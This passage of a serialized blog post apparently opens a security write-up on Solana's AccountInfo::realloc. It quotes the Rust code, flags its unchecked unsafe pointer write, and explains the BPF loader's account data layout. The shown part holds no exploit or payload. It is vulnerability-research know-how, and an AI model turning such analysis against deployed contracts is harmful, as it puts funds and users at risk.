3836},{"style":290},[13837],{"type":28,"value":13838}," Result",{"type":23,"tag":213,"props":13840,"children":13841},{"style":220},[13842],{"type":28,"value":13843},"\u003C(), ",{"type":23,"tag":213,"props":13845,"children":13846},{"style":290},[13847],{"type":28,"value":13848},"ProgramError",{"type":23,"tag":213,"props":13850,"children":13851},{"style":220},[13852],{"type":28,"value":905},{"type":23,"tag":213,"props":13854,"children":13855},{"class":215,"line":226},[13856,13860,13865,13869,13874,13878,13883],{"type":23,"tag":213,"props":13857,"children":13858},{"style":230},[13859],{"type":28,"value":487},{"type":23,"tag":213,"props":13861,"children":13862},{"style":268},[13863],{"type":28,"value":13864}," orig_len",{"type":23,"tag":213,"props":13866,"children":13867},{"style":274},[13868],{"type":28,"value":511},{"type":23,"tag":213,"props":13870,"children":13871},{"style":230},[13872],{"type":28,"value":13873}," self",{"type":23,"tag":213,"props":13875,"children":13876},{"style":274},[13877],{"type":28,"value":124},{"type":23,"tag":213,"props":13879,"children":13880},{"style":257},[13881],{"type":28,"value":13882},"data_len",{"type":23,"tag":213,"props":13884,"children":13885},{"style":220},[13886],{"type":28,"value":3759},{"type":23,"tag":213,"props":13888,"children":13889},{"class":215,"line":524},[13890],{"type":23,"tag":213,"props":13891,"children":13892},{"emptyLinePlaceholder":18},[13893],{"type":28,"value":530},{"type":23,"tag":213,"props":13895,"children":13896},{"class":215,"line":533},[13897],{"type":23,"tag":213,"props":13898,"children":13899},{"style":537},[13900],{"type":28,"value":13901}," // realloc\n",{"type":23,"tag":213,"props":13903,"children":13904},{"class":215,"line":543},[13905,13910],{"type":23,"tag":213,"props":13906,"children":13907},{"style":230},[13908],{"type":28,"value":13909}," unsafe",{"type":23,"tag":213,"props":13911,"children":13912},{"style":220},[13913],{"type":28,"value":1375},{"type":23,"tag":213,"props":13915,"children":13916},{"class":215,"line":551},[13917],{"type":23,"tag":213,"props":13918,"children":13919},{"style":537},[13920],{"type":28,"value":13921}," // First set new length in the serialized data\n",{"type":23,"tag":213,"props":13923,"children":13924},{"class":215,"line":570},[13925,13929,13934,13938,13942,13946,13951,13956,13960,13965,13969,13973,13977,13981,13985,13989,13993,13997,14001,14005,14009],{"type":23,"tag":213,"props":13926,"children":13927},{"style":230},[13928],{"type":28,"value":3163},{"type":23,"tag":213,"props":13930,"children":13931},{"style":268},[13932],{"type":28,"value":13933}," ptr",{"type":23,"tag":213,"props":13935,"children":13936},{"style":274},[13937],{"type":28,"value":511},{"type":23,"tag":213,"props":13939,"children":13940},{"style":230},[13941],{"type":28,"value":13873},{"type":23,"tag":213,"props":13943,"children":13944},{"style":274},[13945],{"type":28,"value":124},{"type":23,"tag":213,"props":13947,"children":13948},{"style":257},[13949],{"type":28,"value":13950},"try_borrow_mut_data",{"type":23,"tag":213,"props":13952,"children":13953},{"style":220},[13954],{"type":28,"value":13955},"()",{"type":23,"tag":213,"props":13957,"children":13958},{"style":274},[13959],{"type":28,"value":3230},{"type":23,"tag":213,"props":13961,"children":13962},{"style":257},[13963],{"type":28,"value":13964},"as_mut_ptr",{"type":23,"tag":213,"props":13966,"children":13967},{"style":220},[13968],{"type":28,"value":13955},{"type":23,"tag":213,"props":13970,"children":13971},{"style":274},[13972],{"type":28,"value":124},{"type":23,"tag":213,"props":13974,"children":13975},{"style":257},[13976],{"type":28,"value":614},{"type":23,"tag":213,"props":13978,"children":13979},{"style":220},[13980],{"type":28,"value":265},{"type":23,"tag":213,"props":13982,"children":13983},{"style":274},[13984],{"type":28,"value":4423},{"type":23,"tag":213,"props":13986,"children":13987},{"style":514},[13988],{"type":28,"value":4170},{"type":23,"tag":213,"props":13990,"children":13991},{"style":220},[13992],{"type":28,"value":298},{"type":23,"tag":213,"props":13994,"children":13995},{"style":230},[13996],{"type":28,"value":623},{"type":23,"tag":213,"props":13998,"children":13999},{"style":274},[14000],{"type":28,"value":282},{"type":23,"tag":213,"props":14002,"children":14003},{"style":230},[14004],{"type":28,"value":287},{"type":23,"tag":213,"props":14006,"children":14007},{"style":290},[14008],{"type":28,"value":308},{"type":23,"tag":213,"props":14010,"children":14011},{"style":220},[14012],{"type":28,"value":313},{"type":23,"tag":213,"props":14014,"children":14015},{"class":215,"line":655},[14016,14020,14025,14029,14034,14038,14042],{"type":23,"tag":213,"props":14017,"children":14018},{"style":274},[14019],{"type":28,"value":7839},{"type":23,"tag":213,"props":14021,"children":14022},{"style":268},[14023],{"type":28,"value":14024},"ptr",{"type":23,"tag":213,"props":14026,"children":14027},{"style":274},[14028],{"type":28,"value":511},{"type":23,"tag":213,"props":14030,"children":14031},{"style":268},[14032],{"type":28,"value":14033}," new_len",{"type":23,"tag":213,"props":14035,"children":14036},{"style":230},[14037],{"type":28,"value":8913},{"type":23,"tag":213,"props":14039,"children":14040},{"style":290},[14041],{"type":28,"value":308},{"type":23,"tag":213,"props":14043,"children":14044},{"style":220},[14045],{"type":28,"value":313},{"type":23,"tag":213,"props":14047,"children":14048},{"class":215,"line":1176},[14049],{"type":23,"tag":213,"props":14050,"children":14051},{"emptyLinePlaceholder":18},[14052],{"type":28,"value":530},{"type":23,"tag":213,"props":14054,"children":14055},{"class":215,"line":1202},[14056],{"type":23,"tag":213,"props":14057,"children":14058},{"style":537},[14059],{"type":28,"value":14060}," // Then set the new length in the local slice\n",{"type":23,"tag":213,"props":14062,"children":14063},{"class":215,"line":1758},[14064,14068,14072,14076,14080,14084,14088,14093,14097,14101,14105,14109,14114,14118,14122,14126,14130,14134,14138,14142,14146,14150,14154,14158,14162,14166,14170,14174,14178,14182,14186],{"type":23,"tag":213,"props":14065,"children":14066},{"style":230},[14067],{"type":28,"value":3163},{"type":23,"tag":213,"props":14069,"children":14070},{"style":268},[14071],{"type":28,"value":13933},{"type":23,"tag":213,"props":14073,"children":14074},{"style":274},[14075],{"type":28,"value":511},{"type":23,"tag":213,"props":14077,"children":14078},{"style":274},[14079],{"type":28,"value":927},{"type":23,"tag":213,"props":14081,"children":14082},{"style":230},[14083],{"type":28,"value":287},{"type":23,"tag":213,"props":14085,"children":14086},{"style":274},[14087],{"type":28,"value":282},{"type":23,"tag":213,"props":14089,"children":14090},{"style":220},[14091],{"type":28,"value":14092},"(((",{"type":23,"tag":213,"props":14094,"children":14095},{"style":230},[14096],{"type":28,"value":13791},{"type":23,"tag":213,"props":14098,"children":14099},{"style":274},[14100],{"type":28,"value":124},{"type":23,"tag":213,"props":14102,"children":14103},{"style":220},[14104],{"type":28,"value":3791},{"type":23,"tag":213,"props":14106,"children":14107},{"style":274},[14108],{"type":28,"value":124},{"type":23,"tag":213,"props":14110,"children":14111},{"style":257},[14112],{"type":28,"value":14113},"as_ptr",{"type":23,"tag":213,"props":14115,"children":14116},{"style":220},[14117],{"type":28,"value":2698},{"type":23,"tag":213,"props":14119,"children":14120},{"style":230},[14121],{"type":28,"value":623},{"type":23,"tag":213,"props":14123,"children":14124},{"style":274},[14125],{"type":28,"value":282},{"type":23,"tag":213,"props":14127,"children":14128},{"style":230},[14129],{"type":28,"value":632},{"type":23,"tag":213,"props":14131,"children":14132},{"style":290},[14133],{"type":28,"value":308},{"type":23,"tag":213,"props":14135,"children":14136},{"style":220},[14137],{"type":28,"value":2121},{"type":23,"tag":213,"props":14139,"children":14140},{"style":274},[14141],{"type":28,"value":124},{"type":23,"tag":213,"props":14143,"children":14144},{"style":257},[14145],{"type":28,"value":614},{"type":23,"tag":213,"props":14147,"children":14148},{"style":220},[14149],{"type":28,"value":265},{"type":23,"tag":213,"props":14151,"children":14152},{"style":514},[14153],{"type":28,"value":4106},{"type":23,"tag":213,"props":14155,"children":14156},{"style":220},[14157],{"type":28,"value":298},{"type":23,"tag":213,"props":14159,"children":14160},{"style":230},[14161],{"type":28,"value":623},{"type":23,"tag":213,"props":14163,"children":14164},{"style":290},[14165],{"type":28,"value":308},{"type":23,"tag":213,"props":14167,"children":14168},{"style":220},[14169],{"type":28,"value":298},{"type":23,"tag":213,"props":14171,"children":14172},{"style":230},[14173],{"type":28,"value":623},{"type":23,"tag":213,"props":14175,"children":14176},{"style":274},[14177],{"type":28,"value":282},{"type":23,"tag":213,"props":14179,"children":14180},{"style":230},[14181],{"type":28,"value":287},{"type":23,"tag":213,"props":14183,"children":14184},{"style":290},[14185],{"type":28,"value":308},{"type":23,"tag":213,"props":14187,"children":14188},{"style":220},[14189],{"type":28,"value":2867},{"type":23,"tag":213,"props":14191,"children":14192},{"class":215,"line":1767},[14193,14197,14201,14205,14209,14213,14217],{"type":23,"tag":213,"props":14194,"children":14195},{"style":274},[14196],{"type":28,"value":7839},{"type":23,"tag":213,"props":14198,"children":14199},{"style":268},[14200],{"type":28,"value":14024},{"type":23,"tag":213,"props":14202,"children":14203},{"style":274},[14204],{"type":28,"value":511},{"type":23,"tag":213,"props":14206,"children":14207},{"style":268},[14208],{"type":28,"value":14033},{"type":23,"tag":213,"props":14210,"children":14211},{"style":230},[14212],{"type":28,"value":8913},{"type":23,"tag":213,"props":14214,"children":14215},{"style":290},[14216],{"type":28,"value":308},{"type":23,"tag":213,"props":14218,"children":14219},{"style":220},[14220],{"type":28,"value":313},{"type":23,"tag":213,"props":14222,"children":14223},{"class":215,"line":1789},[14224],{"type":23,"tag":213,"props":14225,"children":14226},{"style":220},[14227],{"type":28,"value":2875},{"type":23,"tag":213,"props":14229,"children":14230},{"class":215,"line":1812},[14231],{"type":23,"tag":213,"props":14232,"children":14233},{"emptyLinePlaceholder":18},[14234],{"type":28,"value":530},{"type":23,"tag":213,"props":14236,"children":14237},{"class":215,"line":1838},[14238],{"type":23,"tag":213,"props":14239,"children":14240},{"style":537},[14241],{"type":28,"value":14242}," // zero-init if requested\n",{"type":23,"tag":213,"props":14244,"children":14245},{"class":215,"line":1851},[14246,14250,14255,14260,14264,14269,14273],{"type":23,"tag":213,"props":14247,"children":14248},{"style":1362},[14249],{"type":28,"value":2653},{"type":23,"tag":213,"props":14251,"children":14252},{"style":268},[14253],{"type":28,"value":14254}," zero_init",{"type":23,"tag":213,"props":14256,"children":14257},{"style":274},[14258],{"type":28,"value":14259}," &&",{"type":23,"tag":213,"props":14261,"children":14262},{"style":268},[14263],{"type":28,"value":14033},{"type":23,"tag":213,"props":14265,"children":14266},{"style":274},[14267],{"type":28,"value":14268}," >",{"type":23,"tag":213,"props":14270,"children":14271},{"style":268},[14272],{"type":28,"value":13864},{"type":23,"tag":213,"props":14274,"children":14275},{"style":220},[14276],{"type":28,"value":1375},{"type":23,"tag":213,"props":14278,"children":14279},{"class":215,"line":1864},[14280,14285],{"type":23,"tag":213,"props":14281,"children":14282},{"style":257},[14283],{"type":28,"value":14284}," sol_memset",{"type":23,"tag":213,"props":14286,"children":14287},{"style":220},[14288],{"type":28,"value":1511},{"type":23,"tag":213,"props":14290,"children":14291},{"class":215,"line":1890},[14292,14296,14300,14304,14308,14312,14316,14320,14324,14329,14333],{"type":23,"tag":213,"props":14293,"children":14294},{"style":274},[14295],{"type":28,"value":7773},{"type":23,"tag":213,"props":14297,"children":14298},{"style":230},[14299],{"type":28,"value":287},{"type":23,"tag":213,"props":14301,"children":14302},{"style":230},[14303],{"type":28,"value":13873},{"type":23,"tag":213,"props":14305,"children":14306},{"style":274},[14307],{"type":28,"value":124},{"type":23,"tag":213,"props":14309,"children":14310},{"style":257},[14311],{"type":28,"value":13950},{"type":23,"tag":213,"props":14313,"children":14314},{"style":220},[14315],{"type":28,"value":13955},{"type":23,"tag":213,"props":14317,"children":14318},{"style":274},[14319],{"type":28,"value":2126},{"type":23,"tag":213,"props":14321,"children":14322},{"style":220},[14323],{"type":28,"value":3821},{"type":23,"tag":213,"props":14325,"children":14326},{"style":268},[14327],{"type":28,"value":14328},"orig_len",{"type":23,"tag":213,"props":14330,"children":14331},{"style":274},[14332],{"type":28,"value":3150},{"type":23,"tag":213,"props":14334,"children":14335},{"style":220},[14336],{"type":28,"value":14337},"],\n",{"type":23,"tag":213,"props":14339,"children":14340},{"class":215,"line":1899},[14341,14346],{"type":23,"tag":213,"props":14342,"children":14343},{"style":514},[14344],{"type":28,"value":14345}," 0",{"type":23,"tag":213,"props":14347,"children":14348},{"style":220},[14349],{"type":28,"value":944},{"type":23,"tag":213,"props":14351,"children":14352},{"class":215,"line":1912},[14353,14358,14362,14367,14371,14375],{"type":23,"tag":213,"props":14354,"children":14355},{"style":268},[14356],{"type":28,"value":14357}," new_len",{"type":23,"tag":213,"props":14359,"children":14360},{"style":274},[14361],{"type":28,"value":124},{"type":23,"tag":213,"props":14363,"children":14364},{"style":257},[14365],{"type":28,"value":14366},"saturating_sub",{"type":23,"tag":213,"props":14368,"children":14369},{"style":220},[14370],{"type":28,"value":265},{"type":23,"tag":213,"props":14372,"children":14373},{"style":268},[14374],{"type":28,"value":14328},{"type":23,"tag":213,"props":14376,"children":14377},{"style":220},[14378],{"type":28,"value":1715},{"type":23,"tag":213,"props":14380,"children":14381},{"class":215,"line":1921},[14382],{"type":23,"tag":213,"props":14383,"children":14384},{"style":220},[14385],{"type":28,"value":2831},{"type":23,"tag":213,"props":14387,"children":14388},{"class":215,"line":3879},[14389],{"type":23,"tag":213,"props":14390,"children":14391},{"style":220},[14392],{"type":28,"value":2875},{"type":23,"tag":213,"props":14394,"children":14395},{"class":215,"line":3887},[14396],{"type":23,"tag":213,"props":14397,"children":14398},{"emptyLinePlaceholder":18},[14399],{"type":28,"value":530},{"type":23,"tag":213,"props":14401,"children":14402},{"class":215,"line":3918},[14403,14408],{"type":23,"tag":213,"props":14404,"children":14405},{"style":290},[14406],{"type":28,"value":14407}," Ok",{"type":23,"tag":213,"props":14409,"children":14410},{"style":220},[14411],{"type":28,"value":14412},"(())\n",{"type":23,"tag":213,"props":14414,"children":14415},{"class":215,"line":3926},[14416],{"type":23,"tag":213,"props":14417,"children":14418},{"style":220},[14419],{"type":28,"value":1208},{"type":23,"tag":24,"props":14421,"children":14422},{},[14423,14425,14431,14433,14438],{"type":28,"value":14424},"Oh. There's ",{"type":23,"tag":209,"props":14426,"children":14428},{"className":14427},[],[14429],{"type":28,"value":14430},"unsafe",{"type":28,"value":14432},". And no bounds check in sight. ",{"type":23,"tag":87,"props":14434,"children":14435},{},[14436],{"type":28,"value":14437},"And",{"type":28,"value":14439}," pointer math. That doesn't look promising...",{"type":23,"tag":47,"props":14441,"children":14443},{"id":14442},"breaking-down-realloc",[14444,14446],{"type":28,"value":14445},"Breaking down ",{"type":23,"tag":209,"props":14447,"children":14449},{"className":14448},[],[14450],{"type":28,"value":13718},{"type":23,"tag":24,"props":14452,"children":14453},{},[14454,14456,14461],{"type":28,"value":14455},"Let's pick apart this ",{"type":23,"tag":209,"props":14457,"children":14459},{"className":14458},[],[14460],{"type":28,"value":14430},{"type":28,"value":14462}," block, since there's a lot going on here.",{"type":23,"tag":202,"props":14464,"children":14466},{"className":206,"code":14465,"language":205,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[14467],{"type":23,"tag":209,"props":14468,"children":14469},{"__ignoreMap":7},[14470,14478,14565],{"type":23,"tag":213,"props":14471,"children":14472},{"class":215,"line":216},[14473],{"type":23,"tag":213,"props":14474,"children":14475},{"style":537},[14476],{"type":28,"value":14477},"// First set new length in the serialized data\n",{"type":23,"tag":213,"props":14479,"children":14480},{"class":215,"line":226},[14481,14485,14489,14493,14497,14501,14505,14509,14513,14517,14521,14525,14529,14533,14537,14541,14545,14549,14553,14557,14561],{"type":23,"tag":213,"props":14482,"children":14483},{"style":230},[14484],{"type":28,"value":11871},{"type":23,"tag":213,"props":14486,"children":14487},{"style":268},[14488],{"type":28,"value":13933},{"type":23,"tag":213,"props":14490,"children":14491},{"style":274},[14492],{"type":28,"value":511},{"type":23,"tag":213,"props":14494,"children":14495},{"style":230},[14496],{"type":28,"value":13873},{"type":23,"tag":213,"props":14498,"children":14499},{"style":274},[14500],{"type":28,"value":124},{"type":23,"tag":213,"props":14502,"children":14503},{"style":257},[14504],{"type":28,"value":13950},{"type":23,"tag":213,"props":14506,"children":14507},{"style":220},[14508],{"type":28,"value":13955},{"type":23,"tag":213,"props":14510,"children":14511},{"style":274},[14512],{"type":28,"value":3230},{"type":23,"tag":213,"props":14514,"children":14515},{"style":257},[14516],{"type":28,"value":13964},{"type":23,"tag":213,"props":14518,"children":14519},{"style":220},[14520],{"type":28,"value":13955},{"type":23,"tag":213,"props":14522,"children":14523},{"style":274},[14524],{"type":28,"value":124},{"type":23,"tag":213,"props":14526,"children":14527},{"style":257},[14528],{"type":28,"value":614},{"type":23,"tag":213,"props":14530,"children":14531},{"style":220},[14532],{"type":28,"value":265},{"type":23,"tag":213,"props":14534,"children":14535},{"style":274},[14536],{"type":28,"value":4423},{"type":23,"tag":213,"props":14538,"children":14539},{"style":514},[14540],{"type":28,"value":4170},{"type":23,"tag":213,"props":14542,"children":14543},{"style":220},[14544],{"type":28,"value":298},{"type":23,"tag":213,"props":14546,"children":14547},{"style":230},[14548],{"type":28,"value":623},{"type":23,"tag":213,"props":14550,"children":14551},{"style":274},[14552],{"type":28,"value":282},{"type":23,"tag":213,"props":14554,"children":14555},{"style":230},[14556],{"type":28,"value":287},{"type":23,"tag":213,"props":14558,"children":14559},{"style":290},[14560],{"type":28,"value":308},{"type":23,"tag":213,"props":14562,"children":14563},{"style":220},[14564],{"type":28,"value":313},{"type":23,"tag":213,"props":14566,"children":14567},{"class":215,"line":524},[14568,14572,14576,14580,14584,14588,14592],{"type":23,"tag":213,"props":14569,"children":14570},{"style":274},[14571],{"type":28,"value":1696},{"type":23,"tag":213,"props":14573,"children":14574},{"style":268},[14575],{"type":28,"value":14024},{"type":23,"tag":213,"props":14577,"children":14578},{"style":274},[14579],{"type":28,"value":511},{"type":23,"tag":213,"props":14581,"children":14582},{"style":268},[14583],{"type":28,"value":14033},{"type":23,"tag":213,"props":14585,"children":14586},{"style":230},[14587],{"type":28,"value":8913},{"type":23,"tag":213,"props":14589,"children":14590},{"style":290},[14591],{"type":28,"value":308},{"type":23,"tag":213,"props":14593,"children":14594},{"style":220},[14595],{"type":28,"value":313},{"type":23,"tag":24,"props":14597,"children":14598},{},[14599,14604],{"type":23,"tag":209,"props":14600,"children":14602},{"className":14601},[],[14603],{"type":28,"value":13950},{"type":28,"value":14605}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":9693,"props":14607,"children":14609},{"id":14608},"bpf-loader-abi",[14610],{"type":28,"value":14611},"BPF Loader ABI",{"type":23,"tag":24,"props":14613,"children":14614},{},[14615,14617,14622,14624,14637],{"type":28,"value":14616},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":209,"props":14618,"children":14620},{"className":14619},[],[14621],{"type":28,"value":13733},{"type":28,"value":14623},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":36,"props":14625,"children":14628},{"href":14626,"rel":14627},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[40],[14629,14635],{"type":23,"tag":209,"props":14630,"children":14632},{"className":14631},[],[14633],{"type":28,"value":14634},"entrypoint!",{"type":28,"value":14636}," macro",{"type":28,"value":277},{"type":23,"tag":202,"props":14639,"children":14641},{"className":206,"code":14640,"language":205,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[14642],{"type":23,"tag":209,"props":14643,"children":14644},{"__ignoreMap":7},[14645,14652,14719,14762,14812,14871,14913,14956,14963],{"type":23,"tag":213,"props":14646,"children":14647},{"class":215,"line":216},[14648],{"type":23,"tag":213,"props":14649,"children":14650},{"style":220},[14651],{"type":28,"value":223},{"type":23,"tag":213,"props":14653,"children":14654},{"class":215,"line":226},[14655,14659,14663,14667,14671,14675,14679,14683,14687,14691,14695,14699,14703,14707,14711,14715],{"type":23,"tag":213,"props":14656,"children":14657},{"style":230},[14658],{"type":28,"value":233},{"type":23,"tag":213,"props":14660,"children":14661},{"style":230},[14662],{"type":28,"value":238},{"type":23,"tag":213,"props":14664,"children":14665},{"style":230},[14666],{"type":28,"value":243},{"type":23,"tag":213,"props":14668,"children":14669},{"style":246},[14670],{"type":28,"value":249},{"type":23,"tag":213,"props":14672,"children":14673},{"style":230},[14674],{"type":28,"value":254},{"type":23,"tag":213,"props":14676,"children":14677},{"style":257},[14678],{"type":28,"value":260},{"type":23,"tag":213,"props":14680,"children":14681},{"style":220},[14682],{"type":28,"value":265},{"type":23,"tag":213,"props":14684,"children":14685},{"style":268},[14686],{"type":28,"value":271},{"type":23,"tag":213,"props":14688,"children":14689},{"style":274},[14690],{"type":28,"value":277},{"type":23,"tag":213,"props":14692,"children":14693},{"style":274},[14694],{"type":28,"value":282},{"type":23,"tag":213,"props":14696,"children":14697},{"style":230},[14698],{"type":28,"value":287},{"type":23,"tag":213,"props":14700,"children":14701},{"style":290},[14702],{"type":28,"value":293},{"type":23,"tag":213,"props":14704,"children":14705},{"style":220},[14706],{"type":28,"value":298},{"type":23,"tag":213,"props":14708,"children":14709},{"style":274},[14710],{"type":28,"value":303},{"type":23,"tag":213,"props":14712,"children":14713},{"style":290},[14714],{"type":28,"value":308},{"type":23,"tag":213,"props":14716,"children":14717},{"style":220},[14718],{"type":28,"value":1375},{"type":23,"tag":213,"props":14720,"children":14721},{"class":215,"line":524},[14722,14726,14730,14735,14739,14744,14748,14753,14757],{"type":23,"tag":213,"props":14723,"children":14724},{"style":230},[14725],{"type":28,"value":487},{"type":23,"tag":213,"props":14727,"children":14728},{"style":220},[14729],{"type":28,"value":400},{"type":23,"tag":213,"props":14731,"children":14732},{"style":268},[14733],{"type":28,"value":14734},"program_id",{"type":23,"tag":213,"props":14736,"children":14737},{"style":220},[14738],{"type":28,"value":424},{"type":23,"tag":213,"props":14740,"children":14741},{"style":268},[14742],{"type":28,"value":14743},"accounts",{"type":23,"tag":213,"props":14745,"children":14746},{"style":220},[14747],{"type":28,"value":424},{"type":23,"tag":213,"props":14749,"children":14750},{"style":268},[14751],{"type":28,"value":14752},"instruction_data",{"type":23,"tag":213,"props":14754,"children":14755},{"style":220},[14756],{"type":28,"value":298},{"type":23,"tag":213,"props":14758,"children":14759},{"style":274},[14760],{"type":28,"value":14761},"=\n",{"type":23,"tag":213,"props":14763,"children":14764},{"class":215,"line":533},[14765,14770,14774,14778,14783,14787,14791,14795,14799,14803,14807],{"type":23,"tag":213,"props":14766,"children":14767},{"style":230},[14768],{"type":28,"value":14769}," unsafe",{"type":23,"tag":213,"props":14771,"children":14772},{"style":220},[14773],{"type":28,"value":2572},{"type":23,"tag":213,"props":14775,"children":14776},{"style":274},[14777],{"type":28,"value":10371},{"type":23,"tag":213,"props":14779,"children":14780},{"style":230},[14781],{"type":28,"value":14782},"crate",{"type":23,"tag":213,"props":14784,"children":14785},{"style":274},[14786],{"type":28,"value":562},{"type":23,"tag":213,"props":14788,"children":14789},{"style":220},[14790],{"type":28,"value":1280},{"type":23,"tag":213,"props":14792,"children":14793},{"style":274},[14794],{"type":28,"value":562},{"type":23,"tag":213,"props":14796,"children":14797},{"style":257},[14798],{"type":28,"value":773},{"type":23,"tag":213,"props":14800,"children":14801},{"style":220},[14802],{"type":28,"value":265},{"type":23,"tag":213,"props":14804,"children":14805},{"style":268},[14806],{"type":28,"value":271},{"type":23,"tag":213,"props":14808,"children":14809},{"style":220},[14810],{"type":28,"value":14811},") };\n",{"type":23,"tag":213,"props":14813,"children":14814},{"class":215,"line":543},[14815,14820,14825,14830,14834,14838,14842,14846,14850,14854,14858,14862,14866],{"type":23,"tag":213,"props":14816,"children":14817},{"style":1362},[14818],{"type":28,"value":14819}," match",{"type":23,"tag":213,"props":14821,"children":14822},{"style":274},[14823],{"type":28,"value":14824}," $",{"type":23,"tag":213,"props":14826,"children":14827},{"style":268},[14828],{"type":28,"value":14829},"process_instruction",{"type":23,"tag":213,"props":14831,"children":14832},{"style":220},[14833],{"type":28,"value":265},{"type":23,"tag":213,"props":14835,"children":14836},{"style":274},[14837],{"type":28,"value":405},{"type":23,"tag":213,"props":14839,"children":14840},{"style":268},[14841],{"type":28,"value":14734},{"type":23,"tag":213,"props":14843,"children":14844},{"style":220},[14845],{"type":28,"value":424},{"type":23,"tag":213,"props":14847,"children":14848},{"style":274},[14849],{"type":28,"value":405},{"type":23,"tag":213,"props":14851,"children":14852},{"style":268},[14853],{"type":28,"value":14743},{"type":23,"tag":213,"props":14855,"children":14856},{"style":220},[14857],{"type":28,"value":424},{"type":23,"tag":213,"props":14859,"children":14860},{"style":274},[14861],{"type":28,"value":405},{"type":23,"tag":213,"props":14863,"children":14864},{"style":268},[14865],{"type":28,"value":14752},{"type":23,"tag":213,"props":14867,"children":14868},{"style":220},[14869],{"type":28,"value":14870},") {\n",{"type":23,"tag":213,"props":14872,"children":14873},{"class":215,"line":551},[14874,14879,14884,14888,14892,14896,14900,14904,14908],{"type":23,"tag":213,"props":14875,"children":14876},{"style":290},[14877],{"type":28,"value":14878}," Ok",{"type":23,"tag":213,"props":14880,"children":14881},{"style":220},[14882],{"type":28,"value":14883},"(()) ",{"type":23,"tag":213,"props":14885,"children":14886},{"style":274},[14887],{"type":28,"value":1445},{"type":23,"tag":213,"props":14889,"children":14890},{"style":274},[14891],{"type":28,"value":14824},{"type":23,"tag":213,"props":14893,"children":14894},{"style":230},[14895],{"type":28,"value":14782},{"type":23,"tag":213,"props":14897,"children":14898},{"style":274},[14899],{"type":28,"value":562},{"type":23,"tag":213,"props":14901,"children":14902},{"style":220},[14903],{"type":28,"value":1280},{"type":23,"tag":213,"props":14905,"children":14906},{"style":274},[14907],{"type":28,"value":562},{"type":23,"tag":213,"props":14909,"children":14910},{"style":220},[14911],{"type":28,"value":14912},"SUCCESS,\n",{"type":23,"tag":213,"props":14914,"children":14915},{"class":215,"line":570},[14916,14921,14925,14930,14934,14938,14943,14947,14952],{"type":23,"tag":213,"props":14917,"children":14918},{"style":290},[14919],{"type":28,"value":14920}," Err",{"type":23,"tag":213,"props":14922,"children":14923},{"style":220},[14924],{"type":28,"value":265},{"type":23,"tag":213,"props":14926,"children":14927},{"style":268},[14928],{"type":28,"value":14929},"error",{"type":23,"tag":213,"props":14931,"children":14932},{"style":220},[14933],{"type":28,"value":298},{"type":23,"tag":213,"props":14935,"children":14936},{"style":274},[14937],{"type":28,"value":1445},{"type":23,"tag":213,"props":14939,"children":14940},{"style":268},[14941],{"type":28,"value":14942}," error",{"type":23,"tag":213,"props":14944,"children":14945},{"style":274},[14946],{"type":28,"value":124},{"type":23,"tag":213,"props":14948,"children":14949},{"style":257},[14950],{"type":28,"value":14951},"into",{"type":23,"tag":213,"props":14953,"children":14954},{"style":220},[14955],{"type":28,"value":1809},{"type":23,"tag":213,"props":14957,"children":14958},{"class":215,"line":655},[14959],{"type":23,"tag":213,"props":14960,"children":14961},{"style":220},[14962],{"type":28,"value":2875},{"type":23,"tag":213,"props":14964,"children":14965},{"class":215,"line":1176},[14966],{"type":23,"tag":213,"props":14967,"children":14968},{"style":220},[14969],{"type":28,"value":1208},{"type":23,"tag":24,"props":14971,"children":14972},{},[14973,14975,14980,14982,14988,14990,14997,14999,15004,15006,15013],{"type":28,"value":14974},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":209,"props":14976,"children":14978},{"className":14977},[],[14979],{"type":28,"value":474},{"type":28,"value":14981}," buffer in from the loader, and calls ",{"type":23,"tag":209,"props":14983,"children":14985},{"className":14984},[],[14986],{"type":28,"value":14987},"solana_program::entrypoint::deserialize",{"type":28,"value":14989},", which then ",{"type":23,"tag":36,"props":14991,"children":14994},{"href":14992,"rel":14993},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[40],[14995],{"type":28,"value":14996},"parses out",{"type":28,"value":14998}," all the ",{"type":23,"tag":209,"props":15000,"children":15002},{"className":15001},[],[15003],{"type":28,"value":439},{"type":28,"value":15005},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":36,"props":15007,"children":15010},{"href":15008,"rel":15009},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[40],[15011],{"type":28,"value":15012},"laid out",{"type":28,"value":277},{"type":23,"tag":202,"props":15015,"children":15017},{"className":206,"code":15016,"language":205,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // 